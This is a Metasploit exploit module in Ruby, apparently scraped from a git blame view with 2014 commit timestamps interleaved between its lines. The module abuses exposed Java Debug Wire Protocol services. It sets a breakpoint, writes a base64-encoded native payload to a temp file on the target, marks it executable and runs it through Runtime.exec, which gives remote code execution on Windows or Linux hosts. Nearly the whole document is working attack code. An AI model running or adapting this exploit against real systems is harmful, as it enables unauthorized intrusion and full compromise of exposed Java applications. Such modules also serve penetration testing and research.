2014-05-29 23:45:44 +02:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
2014-06-03 23:13:14 +02:00
Rank = ExcellentRanking
2014-05-29 23:45:44 +02:00
include Msf :: Exploit :: Remote :: Tcp
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
HANDSHAKE = " JDWP-Handshake "
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = [ 1 , 1 ]
CLASSESBYSIGNATURE_SIG = [ 1 , 2 ]
ALLCLASSES_SIG = [ 1 , 3 ]
ALLTHREADS_SIG = [ 1 , 4 ]
IDSIZES_SIG = [ 1 , 7 ]
CREATESTRING_SIG = [ 1 , 11 ]
SUSPENDVM_SIG = [ 1 , 8 ]
RESUMEVM_SIG = [ 1 , 9 ]
SIGNATURE_SIG = [ 2 , 1 ]
FIELDS_SIG = [ 2 , 4 ]
METHODS_SIG = [ 2 , 5 ]
GETVALUES_SIG = [ 2 , 6 ]
CLASSOBJECT_SIG = [ 2 , 11 ]
INVOKESTATICMETHOD_SIG = [ 3 , 3 ]
CREATENEWINSTANCE_SIG = [ 3 , 4 ]
REFERENCETYPE_SIG = [ 9 , 1 ]
INVOKEMETHOD_SIG = [ 9 , 6 ]
STRINGVALUE_SIG = [ 10 , 1 ]
THREADNAME_SIG = [ 11 , 1 ]
THREADSUSPEND_SIG = [ 11 , 2 ]
THREADRESUME_SIG = [ 11 , 3 ]
THREADSTATUS_SIG = [ 11 , 4 ]
EVENTSET_SIG = [ 15 , 1 ]
EVENTCLEAR_SIG = [ 15 , 2 ]
EVENTCLEARALL_SIG = [ 15 , 3 ]
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
TAG_ARRAY = 91
TAG_VOID = 86
def initialize
super (
'Name' = > 'Java Debugging Wire Protocol Scanner' ,
'Description' = > %q{
This module abuses exposed Java Debugging Wire Protocol services in order
to execute code remotely.
} ,
'Author' = > [
'Christophe Alladoum' , # Exploit
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
] ,
'References' = >
[
[ 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html' ] ,
[ 'http://www.exploit-db.com/papers/27179/' ] ,
[ 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse' ] ,
[ 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html' ]
] ,
'DisclosureDate' = > 'May 29 2014' ,
'License' = > MSF_LICENSE ,
'Platform' = > %w{ linux win } ,
'Privileged' = > true ,
'Payload' = > { 'BadChars' = > '' , 'DisableNops' = > true } ,
'Targets' = >
[
[ 'Windows x86 (Native Payload)' ,
{
'Platform' = > 'win' ,
'Arch' = > ARCH_X86 ,
}
] ,
[ 'Linux x86 (Native Payload)' ,
{
'Platform' = > 'linux' ,
'Arch' = > ARCH_X86 ,
}
]
] ,
'DefaultTarget' = > 1
)
register_options (
[
Opt :: RPORT ( 8000 ) ,
OptInt . new ( 'STATUS_EVERY' , [ true , 'How many iterations until status' , 1000 ] ) ,
OptInt . new ( 'RESPONSE_TIMEOUT' , [ true , 'Number of seconds to wait for a server response' , 10 ] ) ,
OptString . new ( 'TMP_PATH' , [ false , 'Overwrite the temp path for the file upload. Ensure there is a trailing slash' , nil ] )
] , self . class )
register_advanced_options (
[
OptString . new ( 'BREAK_CLASS' , [ true , 'Frequently called method for setting breakpoint' , 'java.net.ServerSocket.accept' ] ) ,
2014-06-03 23:34:40 +02:00
OptInt . new ( 'BREAK_AUTOHIT_PORT' , [ false , 'If debugging an application accessible from network and breakpoint is on socket accept, set the port of the app to force a socket connection' , nil ] ) ,
2014-05-29 23:45:44 +02:00
OptInt . new ( 'BREAK_TIMEOUT' , [ true , 'Number of seconds to wait for a breakpoint hit' , 30 ] ) ,
OptInt . new ( 'NUM_RETRIES' , [ true , 'Number of retries when waiting for event' , 10 ] )
] , self . class )
end
def check
connect
vprint_status ( " #{ peer } - Checking for Java Debugging Wire Protocol " )
2014-06-03 23:13:14 +02:00
res = handshake
2014-05-29 23:45:44 +02:00
disconnect
unless res
vprint_error ( " Unable to determine due to a connection timeout " )
return Exploit :: CheckCode :: Unknown
end
return Exploit :: CheckCode :: Appears if res == HANDSHAKE
return Exploit :: CheckCode :: Safe
end
2014-06-03 23:13:14 +02:00
def peer
return " #{ rhost } : #{ rport } "
end
2014-05-29 23:45:44 +02:00
# Establishes handshake with the server
def handshake
sock . put ( HANDSHAKE )
2014-06-03 23:13:14 +02:00
return sock . get ( datastore [ 'RESPONSE_TIMEOUT' ] )
2014-05-29 23:45:44 +02:00
end
# Forges packet for JDWP protocol
def create_packet ( cmdsig , data = " " )
flags = 0x00
cmdset , cmd = cmdsig
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
pktlen = data . length + 11
2014-05-30 00:14:59 +02:00
2014-06-03 23:13:14 +02:00
buf = [ pktlen , @my_id , flags , cmdset , cmd ]
2014-05-29 23:45:44 +02:00
pkt = buf . pack ( " NNCCC " )
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
pkt << data
2014-05-30 00:14:59 +02:00
2014-06-03 23:13:14 +02:00
@my_id += 2
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
return pkt
end
# Reads packet response for JDWP protocol
def read_reply ( timeout )
response = sock . get ( timeout )
fail_with ( Failure :: TimeoutExpired , " #{ peer } - Not received response " ) unless response
pktlen , id , flags , errcode = response . unpack ( 'NNCn' )
response . slice! ( 0 .. 10 )
fail_with ( Failure :: Unknown , " Server sent error with code #{ errcode } " ) if ( errcode != 0 ) && ( flags == REPLY_PACKET_TYPE )
return response
end
# Returns the characters contained in the string defined in target VM
def solve_string ( data )
sock . put ( create_packet ( STRINGVALUE_SIG , data ) )
response = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
return " " unless response
return read_string ( response )
end
# Unpacks received string structure from the server response into a normal string
def read_string ( data )
data_len = data . unpack ( 'N' ) [ 0 ]
data . slice! ( 0 .. 3 )
return data . slice! ( 0 , data_len )
end
# Creates a new string object in the target VM and returns its id
def create_string ( data )
buf = build_string ( data )
sock . put ( create_packet ( CREATESTRING_SIG , buf ) )
buf = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
return parse_entries ( buf , [ [ @vars [ 'objectid_size' ] , " obj_id " ] ] , false )
end
2014-05-30 00:14:59 +02:00
# Packs normal string into string structure for target VM
2014-05-29 23:45:44 +02:00
def build_string ( data )
ret = [ data . length ] . pack ( 'N' )
ret << data
return ret
end
# Pack Fixnum for JDWP protocol
def format ( fmt , value )
if fmt == " L " || fmt == 8
return [ value ] . pack ( 'Q>' )
elsif fmt == " I " || fmt == 4
return [ value ] . pack ( 'N' )
end
fail_with ( Failure :: Unknown , " Unknown format " )
end
# Unpack Fixnum from JDWP protocol
def unformat ( fmt , value )
if fmt == " L " || fmt == 8
return value [ 0 .. 7 ] . unpack ( 'Q>' ) [ 0 ]
elsif fmt == " I " || fmt == 4
return value [ 0 .. 3 ] . unpack ( 'N' ) [ 0 ]
end
fail_with ( Failure :: Unknown , " Unknown format " )
end
2014-05-30 00:14:59 +02:00
# Parses given data according to a set of formats
2014-05-29 23:45:44 +02:00
def parse_entries ( buf , formats , explicit = true )
entries = [ ]
if explicit
nb_entries = buf . unpack ( 'N' ) [ 0 ]
buf . slice! ( 0 .. 3 )
else
nb_entries = 1
end
nb_entries . times do | var |
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
print_status ( " #{ peer } - #{ Time . now . getutc } - Parsed #{ var } classes of #{ nb_entries } " ) if var != 0 && var % datastore [ 'STATUS_EVERY' ] == 0
data = { }
2014-06-03 23:13:14 +02:00
formats . each do | fmt , name |
2014-05-29 23:45:44 +02:00
if fmt == " L " or fmt == 8
data [ name ] = buf . unpack ( 'Q>' ) [ 0 ]
buf . slice! ( 0 .. 7 )
elsif fmt == " I " or fmt == 4
data [ name ] = buf . unpack ( 'N' ) [ 0 ]
buf . slice! ( 0 .. 3 )
elsif fmt == " S "
data_len = buf . unpack ( 'N' ) [ 0 ]
buf . slice! ( 0 .. 3 )
data [ name ] = buf . slice! ( 0 , data_len )
elsif fmt == " C "
data [ name ] = buf . unpack ( 'C' ) [ 0 ]
buf . slice! ( 0 )
elsif fmt == " Z "
t = buf . unpack ( 'C' ) [ 0 ]
buf . slice! ( 0 )
if t == 115
data [ name ] = solve_string ( buf . slice! ( 0 .. 7 ) )
elsif t == 73
data [ name ] , buf = buf . unpack ( 'NN' )
end
else
fail_with ( Failure :: UnexpectedReply , " Unexpected data when parsing server response " )
end
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
entries . append ( data )
end
return entries
end
# Gets the sizes of variably-sized data types in the target VM
def idsizes
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
sock . put ( create_packet ( IDSIZES_SIG ) )
response = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
2014-05-30 00:14:59 +02:00
formats = [
[ " I " , " fieldid_size " ] ,
[ " I " , " methodid_size " ] ,
[ " I " , " objectid_size " ] ,
[ " I " , " referencetypeid_size " ] ,
[ " I " , " frameid_size " ]
2014-05-29 23:45:44 +02:00
]
entries = parse_entries ( response , formats , false )
2014-06-03 23:13:14 +02:00
entries . each { | e | @vars . merge! ( e ) }
2014-05-29 23:45:44 +02:00
end
# Gets the JDWP version implemented by the target VM
def get_version
sock . put ( create_packet ( VERSION_SIG ) )
response = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
2014-05-30 00:14:59 +02:00
formats = [
[ " S " , " descr " ] ,
[ " I " , " jdwp_major " ] ,
[ " I " , " jdwp_minor " ] ,
[ " S " , " vm_version " ] ,
[ " S " , " vm_name " ]
2014-05-29 23:45:44 +02:00
]
entries = parse_entries ( response , formats , false )
2014-06-03 23:13:14 +02:00
entries . each { | e | @vars . merge! ( e ) }
2014-05-29 23:45:44 +02:00
end
def version
return " #{ @vars [ " vm_name " ] } - #{ @vars [ " vm_version " ] } "
end
# Returns reference types for all classes currently loaded by the target VM
2014-06-03 23:13:14 +02:00
def get_all_classes
2014-05-29 23:45:44 +02:00
return unless @classes . empty?
sock . put ( create_packet ( ALLCLASSES_SIG ) )
response = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
2014-05-30 00:14:59 +02:00
formats = [
[ " C " , " reftype_tag " ] ,
2014-05-29 23:45:44 +02:00
[ @vars [ " referencetypeid_size " ] , " reftype_id " ] ,
2014-05-30 00:14:59 +02:00
[ " S " , " signature " ] ,
[ " I " , " status " ]
2014-05-29 23:45:44 +02:00
]
print_status ( " #{ peer } - Parsing list of classes... " )
@classes . append ( parse_entries ( response , formats ) )
end
# Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name ( name )
2014-05-30 00:14:59 +02:00
2014-06-03 23:13:14 +02:00
@classes . each do | entry_array |
2014-05-29 23:45:44 +02:00
2014-06-03 23:13:14 +02:00
entry_array . each do | entry |
2014-05-29 23:45:44 +02:00
return entry if entry [ " signature " ] . downcase == name . downcase
2014-06-03 23:13:14 +02:00
end
end
2014-05-29 23:45:44 +02:00
nil
end
2014-05-30 00:14:59 +02:00
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
2014-05-29 23:45:44 +02:00
# The list of methods will include constructors (identified with the name "<init>")
def get_methods ( reftype_id )
unless @methods . has_key? ( reftype_id )
refid = format ( @vars [ " referencetypeid_size " ] , reftype_id )
sock . put ( create_packet ( METHODS_SIG , refid ) )
response = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
2014-05-30 00:14:59 +02:00
formats = [
[ @vars [ " methodid_size " ] , " method_id " ] ,
[ " S " , " name " ] ,
[ " S " , " signature " ] ,
[ " I " , " mod_bits " ]
2014-05-29 23:45:44 +02:00
]
@methods [ reftype_id ] = parse_entries ( response , formats )
end
return @methods [ reftype_id ]
end
# Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name ( classname , name , signature = nil )
2014-06-03 23:13:14 +02:00
@methods [ classname ] . each do | entry |
2014-05-29 23:45:44 +02:00
if signature . nil?
return entry if entry [ " name " ] . downcase == name . downcase
else
return entry if ( entry [ " name " ] . downcase == name . downcase ) && ( entry [ " signature " ] . downcase == signature . downcase )
end
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
nil
end
# Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method ( looked_class , looked_method , signature = nil )
target_class = get_class_by_name ( looked_class )
fail_with ( Failure :: Unknown , " Class \" #{ looked_class } \" not found " ) unless target_class
get_methods ( target_class [ " reftype_id " ] )
target_method = get_method_by_name ( target_class [ " reftype_id " ] , looked_method , signature )
2014-05-30 00:14:59 +02:00
fail_with ( Failure :: Unknown , " Method \" #{ looked_method } \" not found " ) unless target_method
2014-05-29 23:45:44 +02:00
return target_class , target_method
end
2014-05-30 00:14:59 +02:00
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
2014-05-29 23:45:44 +02:00
def str2fqclass ( s )
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
i = s . rindex ( " . " )
fail_with ( Failure :: BadConfig , 'Bad defined break class' ) unless i
method = s [ i + 1 .. - 1 ] # Subtr of s, from last '.' to the end of the string
classname = 'L'
classname << s [ 0 .. i - 1 ] . gsub ( / [.] / , '/' )
classname << ';'
return classname , method
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
end
# Resumes execution of the application after the suspend command or an event has stopped it
def resume_vm
sock . put ( create_packet ( RESUMEVM_SIG ) )
response = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
fail_with ( Exploit :: Failure :: Unknown , " No network response " ) unless response
end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event ( event_code , args )
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
data = [ event_code ] . pack ( 'C' )
data << [ SUSPEND_ALL ] . pack ( 'C' )
data << [ args . length ] . pack ( 'N' )
2014-06-03 23:13:14 +02:00
args . each do | kind , option |
2014-05-29 23:45:44 +02:00
data << [ kind ] . pack ( 'C' )
data << option
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
sock . put ( create_packet ( EVENTSET_SIG , data ) )
response = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
fail_with ( Exploit :: Failure :: Unknown , " No network response " ) unless response
return response . unpack ( 'N' ) [ 0 ]
end
2014-05-30 00:14:59 +02:00
# Waits user defined time for an event sent from the target VM (or force event if possible)
2014-05-29 23:45:44 +02:00
def wait_for_event
2014-06-03 23:34:40 +02:00
force_net_event unless datastore [ 'BREAK_AUTOHIT_PORT' ] . nil? || ( datastore [ 'BREAK_AUTOHIT_PORT' ] == 0 )
2014-05-29 23:45:44 +02:00
buf = read_reply ( datastore [ 'BREAK_TIMEOUT' ] )
return buf
end
2014-06-03 23:34:40 +02:00
# Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket
def force_net_event
vprint_status ( " #{ peer } - Forcing network event over #{ datastore [ 'BREAK_AUTOHIT_PORT' ] } " )
rex_socket = Rex :: Socket :: Tcp . create (
'PeerHost' = > rhost ,
'PeerPort' = > datastore [ 'BREAK_AUTOHIT_PORT' ] ,
)
rex_socket . put ( rand_text_alphanumeric ( 4 + rand ( 4 ) ) )
rex_socket . shutdown
end
2014-05-29 23:45:44 +02:00
# Parses a received event and compares it with the expected
def parse_event_breakpoint ( buf , event_id )
r_id = buf [ 6 .. 9 ] . unpack ( 'N' ) [ 0 ]
return nil unless event_id == r_id
len = @vars [ " objectid_size " ]
t_id = unformat ( len , buf [ 10 .. 10 + len - 1 ] )
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
return r_id , t_id
end
# Clear a defined event request
def clear_event ( event_code , r_id )
data = [ event_code ] . pack ( 'C' )
data << [ r_id ] . pack ( 'N' )
sock . put ( create_packet ( EVENTCLEAR_SIG , data ) )
read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
end
2014-05-30 00:14:59 +02:00
# Invokes a static method. The method must be member of the class type or one of its superclasses,
2014-05-29 23:45:44 +02:00
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke_static ( class_id , thread_id , meth_id , args = [ ] )
data = format ( @vars [ " referencetypeid_size " ] , class_id )
data << format ( @vars [ " objectid_size " ] , thread_id )
data << format ( @vars [ " methodid_size " ] , meth_id )
data << [ args . length ] . pack ( 'N' )
2014-06-03 23:13:14 +02:00
args . each do | arg |
2014-05-29 23:45:44 +02:00
data << arg
data << [ 0 ] . pack ( 'N' )
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
sock . put ( create_packet ( INVOKESTATICMETHOD_SIG , data ) )
buf = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
return buf
end
2014-05-30 00:14:59 +02:00
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
2014-05-29 23:45:44 +02:00
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke ( obj_id , thread_id , class_id , meth_id , args = [ ] )
data = format ( @vars [ " objectid_size " ] , obj_id )
data << format ( @vars [ " objectid_size " ] , thread_id )
data << format ( @vars [ " referencetypeid_size " ] , class_id )
data << format ( @vars [ " methodid_size " ] , meth_id )
data << [ args . length ] . pack ( 'N' )
2014-06-03 23:13:14 +02:00
args . each do | arg |
2014-05-29 23:45:44 +02:00
data << arg
data << [ 0 ] . pack ( 'N' )
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
sock . put ( create_packet ( INVOKEMETHOD_SIG , data ) )
buf = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
return buf
end
# Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type.
def create_instance ( class_id , thread_id , meth_id , args = [ ] )
data = format ( @vars [ " referencetypeid_size " ] , class_id )
data << format ( @vars [ " objectid_size " ] , thread_id )
data << format ( @vars [ " methodid_size " ] , meth_id )
data << [ args . length ] . pack ( 'N' )
2014-06-03 23:13:14 +02:00
args . each do | arg |
2014-05-29 23:45:44 +02:00
data << arg
data << [ 0 ] . pack ( 'N' )
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
sock . put ( create_packet ( CREATENEWINSTANCE_SIG , data ) )
buf = read_reply ( datastore [ 'RESPONSE_TIMEOUT' ] )
return buf
end
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
def temp_path
return nil unless datastore [ 'TMP_PATH' ]
unless datastore [ 'TMP_PATH' ] . end_with? ( '/' ) || datastore [ 'TMP_PATH' ] . end_with? ( '\\' )
fail_with ( Failure :: BadConfig , 'You need to add a trailing slash/backslash to TMP_PATH' )
end
datastore [ 'TMP_PATH' ]
end
# Configures payload according to targeted architecture
def setup_payload
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
# 1. Setting up generic values.
payload_exe = rand_text_alphanumeric ( 4 + rand ( 4 ) )
pl_exe = generate_payload_exe
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
# 2. Setting up arch specific...
case target [ 'Platform' ]
when 'linux'
path = temp_path || '/tmp/'
payload_exe = " #{ path } #{ payload_exe } "
when 'windows'
path = temp_path || './'
payload_exe = " #{ path } #{ payload_exe } .exe "
else
fail_with ( Failure :: NoTarget , 'Unsupported target platform' )
end
return payload_exe , pl_exe
end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os ( thread_id )
size = @vars [ " objectid_size " ]
# 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string ( " os.name " )
fail_with ( Failure :: Unknown , " Failed to allocate string for payload dumping " ) if cmd_obj_ids . length == 0
cmd_obj_id = cmd_obj_ids [ 0 ] [ " obj_id " ]
# 2. Gets property
data = [ TAG_OBJECT ] . pack ( 'C' )
data << format ( size , cmd_obj_id )
data_array = [ data ]
runtime_class , runtime_meth = get_class_and_method ( " Ljava/lang/System; " , " getProperty " )
buf = invoke_static ( runtime_class [ " reftype_id " ] , thread_id , runtime_meth [ " method_id " ] , data_array )
fail_with ( Failure :: UnexpectedReply , " Unexpected returned type: expected String " ) unless buf [ 0 ] == [ TAG_STRING ] . pack ( 'C' )
str = unformat ( size , buf [ 1 .. 1 + size - 1 ] )
@os = solve_string ( format ( @vars [ " objectid_size " ] , str ) )
end
# Creates a file on the server given a execution thread
def create_file ( thread_id , filename )
cmd_obj_ids = create_string ( filename )
fail_with ( Failure :: Unknown , " Failed to allocate string for filename " ) if cmd_obj_ids . length == 0
cmd_obj_id = cmd_obj_ids [ 0 ] [ " obj_id " ]
size = @vars [ " objectid_size " ]
data = [ TAG_OBJECT ] . pack ( 'C' )
data << format ( size , cmd_obj_id )
data_array = [ data ]
runtime_class , runtime_meth = get_class_and_method ( " Ljava/io/FileOutputStream; " , " <init> " , " (Ljava/lang/String;)V " )
buf = create_instance ( runtime_class [ " reftype_id " ] , thread_id , runtime_meth [ " method_id " ] , data_array )
fail_with ( Failure :: UnexpectedReply , " Unexpected returned type: expected Object " ) unless buf [ 0 ] == [ TAG_OBJECT ] . pack ( 'C' )
file = unformat ( size , buf [ 1 .. 1 + size - 1 ] )
fail_with ( Failure :: Unknown , " Failed to create file. Try to change the TMP_PATH " ) if file . nil? || ( file == 0 )
register_files_for_cleanup ( filename )
return file
end
# Stores the payload on a new string created in target VM
def upload_payload ( thread_id , pl_exe )
size = @vars [ " objectid_size " ]
runtime_class , runtime_meth = get_class_and_method ( " Lsun/misc/BASE64Decoder; " , " <init> " )
buf = create_instance ( runtime_class [ " reftype_id " ] , thread_id , runtime_meth [ " method_id " ] )
fail_with ( Failure :: UnexpectedReply , " Unexpected returned type: expected Object " ) unless buf [ 0 ] == [ TAG_OBJECT ] . pack ( 'C' )
decoder = unformat ( size , buf [ 1 .. 1 + size - 1 ] )
fail_with ( Failure :: Unknown , " Failed to create Base64 decoder object " ) if decoder . nil? || ( decoder == 0 )
cmd_obj_ids = create_string ( " #{ Rex :: Text . encode_base64 ( pl_exe ) } " )
fail_with ( Failure :: Unknown , " Failed to allocate string for payload dumping " ) if cmd_obj_ids . length == 0
cmd_obj_id = cmd_obj_ids [ 0 ] [ " obj_id " ]
data = [ TAG_OBJECT ] . pack ( 'C' )
data << format ( size , cmd_obj_id )
data_array = [ data ]
runtime_class , runtime_meth = get_class_and_method ( " Lsun/misc/CharacterDecoder; " , " decodeBuffer " , " (Ljava/lang/String;)[B " )
buf = invoke ( decoder , thread_id , runtime_class [ " reftype_id " ] , runtime_meth [ " method_id " ] , data_array )
fail_with ( Failure :: UnexpectedReply , " Unexpected returned type: expected ByteArray " ) unless buf [ 0 ] == [ TAG_ARRAY ] . pack ( 'C' )
pl = unformat ( size , buf [ 1 .. 1 + size - 1 ] )
return pl
end
# Dumps the payload on a opened server file given a execution thread
def dump_payload ( thread_id , file , pl )
size = @vars [ " objectid_size " ]
data = [ TAG_OBJECT ] . pack ( 'C' )
data << format ( size , pl )
data_array = [ data ]
runtime_class , runtime_meth = get_class_and_method ( " Ljava/io/FileOutputStream; " , " write " , " ([B)V " )
buf = invoke ( file , thread_id , runtime_class [ " reftype_id " ] , runtime_meth [ " method_id " ] , data_array )
fail_with ( Failure :: Unknown , " Exception ocurred when writing to file " ) unless buf [ 0 ] == [ TAG_VOID ] . pack ( 'C' )
end
# Closes a file on the server given a execution thread
def close_file ( thread_id , file )
size = @vars [ " objectid_size " ]
runtime_class , runtime_meth = get_class_and_method ( " Ljava/io/FileOutputStream; " , " close " )
buf = invoke ( file , thread_id , runtime_class [ " reftype_id " ] , runtime_meth [ " method_id " ] )
fail_with ( Failure :: Unknown , " Exception ocurred when closing file " ) unless buf [ 0 ] == [ TAG_VOID ] . pack ( 'C' )
end
# Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command ( thread_id , cmd )
size = @vars [ " objectid_size " ]
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string ( cmd )
fail_with ( Failure :: Unknown , " Failed to allocate string for payload dumping " ) if cmd_obj_ids . length == 0
cmd_obj_id = cmd_obj_ids [ 0 ] [ " obj_id " ]
# 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method ( " Ljava/lang/Runtime; " , " getRuntime " )
buf = invoke_static ( runtime_class [ " reftype_id " ] , thread_id , runtime_meth [ " method_id " ] )
fail_with ( Failure :: UnexpectedReply , " Unexpected returned type: expected Object " ) unless buf [ 0 ] == [ TAG_OBJECT ] . pack ( 'C' )
rt = unformat ( size , buf [ 1 .. 1 + size - 1 ] )
fail_with ( Failure :: Unknown , " Failed to invoke Runtime.getRuntime() " ) if rt . nil? || ( rt == 0 )
# 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name ( runtime_class [ " reftype_id " ] , " exec " )
fail_with ( Failure :: BadConfig , " Cannot find method Runtime.exec() " ) if exec_meth . nil?
data = [ TAG_OBJECT ] . pack ( 'C' )
data << format ( size , cmd_obj_id )
data_array = [ data ]
buf = invoke ( rt , thread_id , runtime_class [ " reftype_id " ] , exec_meth [ " method_id " ] , data_array )
fail_with ( Failure :: UnexpectedReply , " Unexpected returned type: expected Object " ) unless buf [ 0 ] == [ TAG_OBJECT ] . pack ( 'C' )
end
# Sets a breakpoint on frequently called method (user-defined)
def set_breakpoint
vprint_status ( " #{ peer } - Setting breakpoint on class: #{ datastore [ 'BREAK_CLASS' ] } " )
# 1. Gets reference of the method where breakpoint is going to be setted
classname , method = str2fqclass ( datastore [ 'BREAK_CLASS' ] )
break_class = get_class_by_name ( classname )
2014-06-03 23:13:14 +02:00
fail_with ( Failure :: NotFound , " Could not access #{ datastore [ 'BREAK_CLASS' ] } , probably is not used by the application " ) unless break_class
2014-05-29 23:45:44 +02:00
get_methods ( break_class [ " reftype_id " ] )
m = get_method_by_name ( break_class [ " reftype_id " ] , method )
fail_with ( Failure :: BadConfig , " Method of Break Class not found " ) unless m
# 2. Sends event request for this method
loc = [ TYPE_CLASS ] . pack ( 'C' )
loc << format ( @vars [ " referencetypeid_size " ] , break_class [ " reftype_id " ] )
loc << format ( @vars [ " methodid_size " ] , m [ " method_id " ] )
loc << [ 0 , 0 ] . pack ( 'NN' )
data = [ [ MODKIND_LOCATIONONLY , loc ] ]
r_id = send_event ( EVENT_BREAKPOINT , data )
fail_with ( Failure :: Unknown , " Could not set the breakpoint " ) unless r_id
return r_id
end
# Uploads & executes the payload on the target VM
def exec_payload ( thread_id )
# 0. Fingerprinting OS
fingerprint_os ( thread_id )
vprint_status ( " #{ peer } - Executing payload on \" #{ @os } \" , target version: #{ version } " )
# 1. Prepares the payload
payload_exe , pl_exe = setup_payload
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
# 2. Creates file on server for dumping payload
file = create_file ( thread_id , payload_exe )
# 3. Uploads payload to the server
pl = upload_payload ( thread_id , pl_exe )
# 4. Dumps uploaded payload into file on the server
dump_payload ( thread_id , file , pl )
# 5. Closes the file on the server
close_file ( thread_id , file )
# 5b. When linux arch, give execution permissions to file
cmd = " chmod +x #{ payload_exe } "
execute_command ( thread_id , cmd ) if target [ 'Platform' ] == 'linux'
# 6. Executes the dumped payload
cmd = " #{ payload_exe } "
execute_command ( thread_id , cmd )
end
def exploit
2014-05-30 00:14:59 +02:00
2014-06-03 23:13:14 +02:00
@my_id = 0x01
2014-05-29 23:45:44 +02:00
@vars = { }
@classes = [ ]
@methods = { }
@os = nil
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
2014-06-03 23:13:14 +02:00
fail_with ( Failure :: NotVulnerable , " #{ peer } - Doesn't seem to be vulnerable " ) if check == Exploit :: CheckCode :: Safe
# To avoid connection refused due to previously opened connection during check
Rex :: sleep ( 1 )
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
connect
2014-06-03 23:13:14 +02:00
fail_with ( Failure :: UnexpectedReply , " Unexpected reply while executing the handshake " ) unless handshake == HANDSHAKE
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
# 1. Get the sizes of variably-sized data types in the target VM
idsizes
# 2. Get the version of the target VM
get_version
# 3. Get all currently loaded classes by the target VM
2014-06-03 23:13:14 +02:00
get_all_classes
2014-05-29 23:45:44 +02:00
# 4. Sets a breakpoint on frequently called method (user-defined)
r_id = set_breakpoint
# 5. Resume VM and wait for event
resume_vm
secs = datastore [ 'BREAK_TIMEOUT' ]
ret = " "
datastore [ 'NUM_RETRIES' ] . times do | i |
print_status ( " #{ peer } - Waiting for breakpoint hit #{ i } during #{ secs } seconds... " )
2014-06-03 23:13:14 +02:00
buf = wait_for_event
2014-05-29 23:45:44 +02:00
ret = parse_event_breakpoint ( buf , r_id )
break unless ret . nil?
end
r_id , t_id = ret
vprint_status ( " #{ peer } - Received matching event from thread #{ t_id } " )
# 6. Clears event
clear_event ( EVENT_BREAKPOINT , r_id )
# 7. Drop & execute payload
exec_payload ( t_id )
resume_vm
disconnect
end
2014-05-30 00:14:59 +02:00
end